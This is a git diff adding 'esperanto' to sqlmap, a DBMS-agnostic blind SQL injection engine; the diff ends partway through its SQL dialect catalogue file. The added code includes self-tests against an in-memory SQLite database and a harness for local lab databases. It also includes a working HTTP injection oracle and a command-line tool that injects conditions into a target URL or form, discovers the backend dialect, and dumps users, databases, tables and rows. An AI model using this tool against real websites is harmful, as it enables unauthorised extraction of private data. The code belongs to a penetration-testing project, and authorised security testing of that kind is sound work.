diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 85ae78c0ea7..98dedd5cd4f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -111,6 +111,12 @@ jobs: # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. run: python -B -m unittest discover -s tests -p "test_*.py" + - name: Esperanto self-test + # offline, deterministic engine check against an in-memory SQLite boolean oracle: all + # compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy + # handoff (a failed assertion exits non-zero) + run: python extra/esperanto/run.py --self-test + - name: Coverage if: matrix.python-version != 'pypy-2.7' run: | diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0585845bcfd..d7c271ef327 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -314,8 +314,8 @@ - - + + diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py new file mode 100644 index 00000000000..cc2cb9e39fb --- /dev/null +++ b/extra/esperanto/__init__.py @@ -0,0 +1,28 @@ +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +esperanto - a DBMS-agnostic SQL poking prototype. + +Given only a boolean oracle - a callable oracle(condition) -> bool that reports +whether an arbitrary SQL boolean expression holds at the target - this discovers +the target's SQL dialect from scratch (concatenation operator, substring / length +/ char-code functions, string comparison, catalog surface) and then extracts data +char-by-char WITHOUT ever being told which DBMS is on the other end. + +The candidate variants below are harvested from sqlmap's own data/xml/queries.xml +across all 31 supported DBMSes - the point is to reuse that accumulated knowledge +as a single "esperanto" the tool speaks at any backend, rather than fingerprinting +first and loading one dialect. + +This is a self-contained research prototype (no sqlmap imports); run it directly +for a built-in self-test against an in-memory SQLite oracle. +""" + +from .engine import Esperanto +from .engine import hostExtract +from .handler import buildHandler +from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy +from .records import OracleUndecided, QueryBudgetExceeded + +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "OracleUndecided", "QueryBudgetExceeded"] diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py new file mode 100644 index 00000000000..8f9577e85a1 --- /dev/null +++ b/extra/esperanto/__main__.py @@ -0,0 +1,609 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _REPL +from .engine import Esperanto, hostExtract +from .records import ( + OracleUndecided, ExtractResult, QueryBudgetExceeded) + + +def _sqliteOracle(block=None): + """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober). + `block` is a regex of constructs to refuse, used to force fallback modes.""" + import re as _re + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE users (id INTEGER, name TEXT)") + con.execute("INSERT INTO users VALUES (1, 'Admin-42')") + con.commit() + pat = _re.compile(block) if block else None + + def oracle(condition): + if pat and pat.search(condition): + return False + try: + cur = con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % condition) + return cur.fetchone()[0] == 1 + except sqlite3.DatabaseError: + # unsupported/rejected SQL is a valid negative capability result; only + # transport/observation failures are allowed to raise (oracle contract) + return False + + return oracle + + +def _selftest(): + # exercise every compare mode against one byte-ordered, case-sensitive backend + # (SQLite) by selectively refusing constructs - proves each extraction path + code = r"\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|TO_CODE_POINTS)\(" + coll = r"COLLATE|\bBINARY\s*\(|AS\s+(BLOB|bytea|VARBINARY|RAW)|NLSSORT|UTL_RAW" + hexb = r"\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR" + modes = ( + ("code", None), + ("collation", r"(?i)(%s)" % code), + ("hex", r"(?i)(%s|%s)" % (code, coll)), + ("ordinal", r"(?i)(%s|%s|%s)" % (code, coll, hexb)), + ) + for expected, block in modes: + esp = Esperanto(_sqliteOracle(block=block)) + dialect = esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert dialect.compare == expected, "expected %s mode, got %s" % (expected, dialect.compare) + assert got == "Admin-42", "%s-mode extraction failed: %r" % (expected, got) + print(" %-8s mode: %-52r -> extracted %r in %d queries" % ( + expected, dialect, got, esp.queryCount)) + # equality mode exercised directly (charset scan) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.dialect.compare = "equality" + assert esp.extract("(SELECT name FROM users WHERE id=1)") == "Admin-42" + print(" equality mode: charset-scan extraction -> OK") + + # the detective: name the backend blind + esp = Esperanto(_sqliteOracle()) + esp.discover() + verdict = esp.identify() + assert verdict["product"] == "SQLite", "identify failed: %r" % verdict + print(" identify: product=%(product)r version=%(version)r dual=%(dual)s" % verdict) + + # bytes-first extraction: byte-exact, encoding chosen by the caller + esp = Esperanto(_sqliteOracle()) + esp.discover() + mb = "('A' || CHAR(233) || CHAR(8364))" # 'A' + U+00E9 + U+20AC, built via ASCII SQL (py2/py3-safe, no non-ASCII source) + raw = esp.extractBytes(mb) + assert raw == u"A\xe9\u20ac".encode("utf-8"), "extractBytes: %r" % raw + assert esp.extractText(mb) == u"A\xe9\u20ac" + print(" extractBytes: %r extractText: %r" % (raw, esp.extractText(mb))) + + # quorum: a noisy oracle that flips/errors a minority of probes must not corrupt. + # tested across several seeds so the pass doesn't hinge on one lucky sequence. + import random as _random + for seed in (1234, 7, 99, 2026): + base = _sqliteOracle() + rng = _random.Random(seed) + + def noisy(cond, _b=base, _r=rng): + roll = _r.random() + if roll < 0.12: + raise RuntimeError("transient") # 12% errors (resampled) + if roll < 0.20: + return not _b(cond) # 8% lies + return _b(cond) + + esp = Esperanto(noisy, quorum=6) + esp.discover() + got = esp.extract("(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got) + print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds") + + # -- integrity guards (peer-review round 4) -------------------------------- + # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated + assert not ExtractResult("") and not ExtractResult(None) + esp = Esperanto(_sqliteOracle()) + esp.discover() + zero = esp.extractResult("'abc'", limit=0) + assert zero.value == "" and zero.truncated and not zero.complete, "limit=0: %r" % zero + # an invalid expression must NOT masquerade as a complete SQL NULL + bad = esp.extractResult("NO_SUCH_FN(1)") + assert bad.value is None and not bad.is_null and not bad.complete and bad.warnings, "invalid->NULL: %r" % bad + # integer extraction must raise, not saturate + try: + esp.extractInteger("100", maximum=10) + assert False, "extractInteger saturated silently" + except OverflowError: + pass + # an unobservable oracle must FAIL CLOSED, never silently 'succeed'. two guarantees: + # (a) discovery aborts (a broken oracle can't manufacture a working dialect); while + # probing candidate rungs an unobservable probe reads False, so sanity fails -> + # RuntimeError, never a bogus discovered dialect + try: + Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover() + assert False, "broken oracle silently discovered a dialect" + except RuntimeError: + pass + # (b) a DATA READ never manufactures False from an unobservable probe: it raises + # OracleUndecided (the whole point - a flaky read must not corrupt a bit) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery + try: + esp.extract("(SELECT MAX(name) FROM users)") + assert False, "undecided oracle silently became data" + except OracleUndecided: + pass + # embedded/leading NUL must not truncate (whole-value verification recovers it) + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (a TEXT)") + con.execute("INSERT INTO t VALUES (?)", ("A\x00B",)) + con.commit() + + def nulOracle(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(nulOracle) + esp.discover() + nul = esp.extractResult("(SELECT a FROM t)") + assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul + + # -- round-5 adversarial regressions -------------------------------------- + esp = Esperanto(_sqliteOracle(), maxlen=0) + esp.discover() + z = esp.extractResult("'abc'") + assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z + esp = Esperanto(_sqliteOracle()) + esp.discover() + for bad in (("-100", 10), ("100", 10)): # symmetric integer cap + try: + esp.extractInteger(bad[0], maximum=bad[1]) + assert False, "int cap not enforced for %s" % bad[0] + except OverflowError: + pass + try: # None observation -> undecided + Esperanto(lambda c: None, retries=0)._ask("1=1") + assert False, "None became False" + except OracleUndecided: + pass + try: # hard query budget + Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1") + assert False, "budget not enforced" + except QueryBudgetExceeded: + pass + esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode + esp.discover() + esp.dialect.compare = "equality" + try: + esp.poc("'A'") + assert False, "equality-mode PoC fabricated ordering" + except RuntimeError: + pass + # a UTF-16 code-unit fn returning an isolated surrogate must not be "complete" + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('\U0001F642')") + con.create_function("ASCII", 1, lambda x: None if not x else ( + ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10))) + con.commit() + nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR") + + def surOracle(cond): + if nohex.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(surOracle) + esp.discover() + sur = esp.extractResult("(SELECT v FROM s)") + assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur + + print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded") + + # -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface -- + oracle = _sqliteOracle() + esp = Esperanto(oracle) + esp.discover() + strat = esp.strategy() + try: # immutable + strat.compare_mode = "x" + assert False, "strategy is not frozen" + except AttributeError: + pass + # extract using ONLY the strategy + oracle (no Esperanto retrieval code) + got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "hostExtract via strategy failed: %r" % got + row = strat.asQueriesRow() + assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row + print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got)) + print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)") + + +def _livetest(only=None, waf=False): + """Live blind validation against real DBMS instances (dev harness, '--live'). + Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as + False, the transaction rolled back per probe - and is never told which engine it + is poking. Requires the driver + a reachable instance; skips what it can't reach.""" + import re as _re + SECRET = "Zagreb-Ka5tel" + block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None + + def cursor(con, wrap): + def ask(cond): + if block and block.search(cond): + return False + cur = con.cursor() + try: + cur.execute(wrap % cond) + row = cur.fetchone() + return bool(row) and int(row[0]) == 1 + except Exception: + try: + con.rollback() + except Exception: + pass + return False + finally: + try: + cur.close() + except Exception: + pass + return ask + + def prep(con, ddl): + cur = con.cursor() + for stmt in ddl: + try: + cur.execute(stmt) + except Exception: + if hasattr(con, "rollback"): + con.rollback() + con.commit() + cur.close() + + def sqlite(): + import sqlite3 + con = sqlite3.connect(":memory:") + prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def mysql(): + import pymysql + con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def postgres(): + import psycopg2 + con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def oracle(): + import oracledb + con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1") + prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL") + + def mssql(): + import pymssql + con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master") + prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe", + "CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + ok = True + for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres), + ("Oracle", oracle), ("MSSQL", mssql)): + if only and name.lower() not in only: + continue + try: + oracle_fn = factory() + except Exception as ex: + print(" %-12s SKIP (%s)" % (name, ex)) + continue + esp = Esperanto(oracle_fn) + try: + esp.discover() + got = esp.extract("(SELECT MAX(name) FROM esp_probe)") + product = esp.identify()["product"] + except Exception as ex: + print(" %-12s FAIL (%s)" % (name, ex)) + ok = False + continue + passed = got == SECRET + ok = ok and passed + print(" %-12s %s product=%-12r secret=%r%s" % ( + name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else "")) + return ok + + +def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notString=None, code=None): + """A boolean oracle over a real HTTP target, for standalone use. The condition is + substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply + the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with + ` AND ()`. + + True/false is decided by a reduced port of sqlmap's response differentiation - the + Pareto 80%: explicit --string/--not-string/--code win; otherwise it CALIBRATES from + two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable + signal - HTTP status code, else a stable text line present in true but not false, + else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it + robust: DYNAMIC content (lines that differ between two identical true requests, e.g. + timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed + from the body so it can't skew the match (sqlmap's "reflective values ... filtering + out"). Not a replacement for checkBooleanExpression - just its high-value core.""" + import difflib + try: # py3 + from urllib.parse import quote as _quote, urlsplit + from http.client import HTTPConnection, HTTPSConnection + except ImportError: # py2 + from urllib import quote as _quote + from urlparse import urlsplit + from httplib import HTTPConnection, HTTPSConnection + + if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")): + url = url + "*" # no marker given -> inject at the end of the URL by default + print("[*] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) + + # ONE kept-alive connection reused across every probe. a blind dump is thousands of + # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of + # pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x. + _conn = {"c": None, "key": None} + + def _fresh(scheme, netloc): + return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30) + + def fetch(cond): + if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context) + u_raw = url.replace("[INFERENCE]", cond) + d_raw = data.replace("[INFERENCE]", cond) if data else data + else: # '*' -> boolean AND at the mark + ins = " AND (%s)" % cond + u_raw = url.replace("*", ins, 1) if "*" in url else url + d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data + # keep the '='/'&' param structure, encode the rest so spaces/metachars survive + parts = urlsplit(u_raw) + path = parts.path or "/" + if parts.query: + path += "?" + _quote(parts.query, safe="=&") + body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None + method = "POST" if body else "GET" + hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"} + if body: + hdrs["Content-Type"] = "application/x-www-form-urlencoded" + if cookie: + hdrs["Cookie"] = cookie + for h in (headers or []): + k, _, v = h.partition(":") + hdrs[k.strip()] = v.strip() + key = (parts.scheme, parts.netloc) + for attempt in (1, 2): # reuse the socket; reconnect once if it dropped + if _conn["c"] is None or _conn["key"] != key: + if _conn["c"] is not None: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key + try: + _conn["c"].request(method, path, body, hdrs) + resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise) + raw, status = resp.read(), resp.status # read fully so the socket stays reusable + return raw.decode("utf-8", "replace"), status + except Exception: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"] = None # force a reconnect on the retry + return "", 0 + + dyn = set() + + def _deReflect(body, cond): + return body.replace(cond, "") if cond else body # drop the reflected payload + + def _clean(body, cond): + body = _deReflect(body, cond) + return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body + + mode, wanted, base = None, None, {} + if string is not None: + mode = "string" + elif notString is not None: + mode = "notstring" + elif code is not None: + mode, wanted = "code", int(code) + else: # auto-calibrate + (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2") + dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic + tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2") + if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false + mode, wanted = "code", s1 + else: + # (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is + # in the true page but not the false one, capped to a "longish" string (never the + # whole document) and verified stable across BOTH true baselines + t2c = _clean(t2, "1=1") + blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes() + chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks + if op in ("insert", "replace")), key=len, reverse=True) + wanted = None + for chunk in chunks: + marker = chunk[:64] # bounded, distinctive marker + if len(marker) >= 6 and marker in t2c and marker not in fc: + mode, wanted = "autostring", marker + break + if wanted is None: # (3) similarity ratio floor + mode, base = "ratio", {"t": tc, "f": fc} + if not string and not notString: + print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) + + def oracle(cond): + body, status = fetch(cond) + if mode == "string": + return string in body + if mode == "notstring": + return notString not in body + if mode == "code": + return status == wanted + if mode == "autostring": + return wanted in _clean(body, cond) + c = _clean(body, cond) + st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio() + sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio() + return st >= sf + + return oracle + + +def _report(esp, args): + """Run the requested action(s) against a discovered target and print the results.""" + print("[*] dialect: %r" % esp.dialect) + verdict = esp.identify() + print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or "")) + # scope schema/db lookups to -D, else the current database (and, for a specific table, + # the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system + # schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a + # garbage 0-row dump. mirrors the sqlmap handler's _scopeFor. + scope = args.db + if scope is None and (args.tables or args.columns or args.dump): + dbexpr = esp.dialect.identity.get("database") + try: + cur = esp.extract(dbexpr) if dbexpr else None + except Exception: + cur = None + if args.tbl and (args.columns or args.dump): + try: + scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur) + except Exception: + scope = cur + else: + scope = cur + if scope: + print("[*] scoping to database/schema: %s" % scope) + if args.current_user: + expr = esp.dialect.identity.get("user") + print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a")) + if args.current_db: + expr = esp.dialect.identity.get("database") + print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a")) + if args.tables: + print("[*] fetching tables ...") + print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) + if args.columns: + if not args.tbl: + print("[!] --columns needs -T ") + else: + print("[*] fetching columns for '%s' ..." % args.tbl) + print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) + if args.query: + print("[*] fetching %s ..." % args.query) + print("[*] %s = %r" % (args.query, esp.extract(args.query))) + if args.dump: + if not args.tbl: + print("[!] --dump needs -T
") + else: + cols = [c.strip() for c in args.col.split(",")] if args.col else None + if cols is None: # enumerate columns FIRST (own phase), so the + print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names + cols = esp.columns(args.tbl, schema=scope) or None + print("[*] fetching entries for table '%s' ..." % args.tbl) + result = esp.dump(args.tbl, columns=cols, schema=scope) + if not result or not result["columns"]: + print("[!] could not dump %s" % args.tbl) + else: + print("[*] %s (%d rows):" % (args.tbl, len(result["rows"]))) + print(" " + " | ".join(result["columns"])) + for row in result["rows"]: + print(" " + " | ".join("NULL" if v is None else v for v in row)) + + +def main(argv=None): + """Standalone entry point: drive the engine against a live HTTP target.""" + import argparse + + class _Formatter(argparse.HelpFormatter): + # show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'), + # like sqlmap's own help, so option/help stays on a single line + def __init__(self, prog): + argparse.HelpFormatter.__init__(self, prog, max_help_position=28) + + def _format_action_invocation(self, action): + if not action.option_strings or action.nargs == 0: + return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action) + metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar + return "%s %s" % (", ".join(action.option_strings), metavar) + + parser = argparse.ArgumentParser( + prog="esperanto", formatter_class=_Formatter, + description="DBMS-agnostic blind-SQLi enumeration engine (standalone)") + parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)") + parser.add_argument("--data", help="POST data string") + parser.add_argument("--cookie", help="HTTP Cookie header") + parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)") + parser.add_argument("--string", help="match string for a True response") + parser.add_argument("--not-string", dest="not_string", help="match string for a False response") + parser.add_argument("--code", type=int, help="HTTP code for a True response") + parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner") + parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user") + parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database") + parser.add_argument("--tables", action="store_true", help="enumerate tables") + parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)") + parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)") + parser.add_argument("--sql-query", dest="query", help="run a custom scalar SQL query") + parser.add_argument("-D", dest="db", help="database/schema to enumerate") + parser.add_argument("-T", dest="tbl", help="table to enumerate") + parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") + # internal dev/test harness switches - functional but hidden from --help (--live drives the + # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) + parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS) + args, engines = parser.parse_known_args(argv) + + if args.live: + names = [a.lower() for a in engines if not a.startswith("-")] + return 0 if _livetest(only=names or None, waf=args.waf) else 1 + if args.selftest: # self-test only on EXPLICIT request + _selftest() + return 0 + if not args.url: # no target and nothing to do -> show help, don't surprise + parser.print_help() + return 1 + + target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL + esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, + args.string, args.not_string, args.code)) + import sys as _sys + def _live(value): # signs of life during the (slow, blind) extraction + _sys.stdout.write("[*] retrieved: %s\n" % value) + _sys.stdout.flush() + esp._progress = _live + print("[*] discovering the back-end SQL dialect (agnostic mode) ...") + try: + esp.discover() + _report(esp, args) + except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback + print("[!] could not establish a working boolean oracle (%s)" % ex) + print(" check the target is reachable and injectable, and the marker/--string/--code are right") + return 1 + except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback + print("\n[!] aborted by user") + return 1 + return 0 + + +if __name__ == "__main__": + import sys + sys.exit(main()) diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py new file mode 100644 index 00000000000..40e51691606 --- /dev/null +++ b/extra/esperanto/atlas.py @@ -0,0 +1,437 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a +dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only, +no logic. Each table is (name, template, ...); templates use str.format fields such as +{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is +written as a \\uXXXX escape so it is always obvious which code point is meant. +""" + +from __future__ import print_function + +import binascii + + +def _unhexlify(value): + """Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it.""" + if isinstance(value, type(u"")): + value = value.encode("ascii") + return binascii.unhexlify(value) + + +def _isSingleUnicodeScalar(value): + """True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair).""" + if len(value) == 1: + return True + return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and + 0xDC00 <= ord(value[1]) <= 0xDFFF) + + +# string concatenation of {a} and {b} (operator or function form) +_CONCAT = ( + ("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI) + ("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB + ("plus", "({a})+({b})"), # MSSQL/Sybase + ("amp", "({a})&({b})"), # MS Access +) + + +# 1-based substring: {len} characters of {expr} starting at {pos} +_SUBSTRING = ( + ("SUBSTR", "SUBSTR(({expr}),{pos},{len})"), + ("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"), + ("MID", "MID(({expr}),{pos},{len})"), + ("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"), + ("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"), + ("substring_lc", "substring(({expr}),{pos},{len})"), + # LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT + # but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which + # is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to + # RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general + # fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so + # it is deliberately kept length-free and len=1-scoped. + ("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"), +) + + +# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here) +_LENGTH = ( + ("CHAR_LENGTH", "CHAR_LENGTH({expr})"), + ("LENGTH", "LENGTH({expr})"), + ("LEN", "LEN({expr})"), + ("length_lc", "length({expr})"), +) + + +# single char {expr} -> its integer code point +_CHARCODE = ( + ("ASCII", "ASCII({expr})"), + ("UNICODE", "UNICODE({expr})"), + ("ORD", "ORD({expr})"), + ("CODEPOINT", "CODEPOINT({expr})"), + ("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255) + ("ASCII_VAL", "ASCII_VAL({expr})"), + ("ASCW", "ASCW({expr})"), + ("UNICODE_CODE", "UNICODE_CODE({expr})"), + ("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed) +) + + +# integer {code} -> single char (lets extraction build literals without quoting) +_CHARFROM = ( + ("CHAR", "CHAR({code})"), + ("CHR", "CHR({code})"), + ("NCHAR", "NCHAR({code})"), + ("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL) + ("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255) +) + + +# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case) +_HEXFN = ( + ("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive + ("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle + ("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071') + ("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB + ("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate + ("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase + ("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast) + ("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA + ("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica + ("TO_HEX_BYTES", 